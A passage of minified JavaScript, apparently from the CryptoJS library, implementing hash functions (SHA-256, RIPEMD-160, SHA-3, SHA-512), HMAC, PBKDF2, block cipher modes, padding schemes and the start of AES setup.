e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, 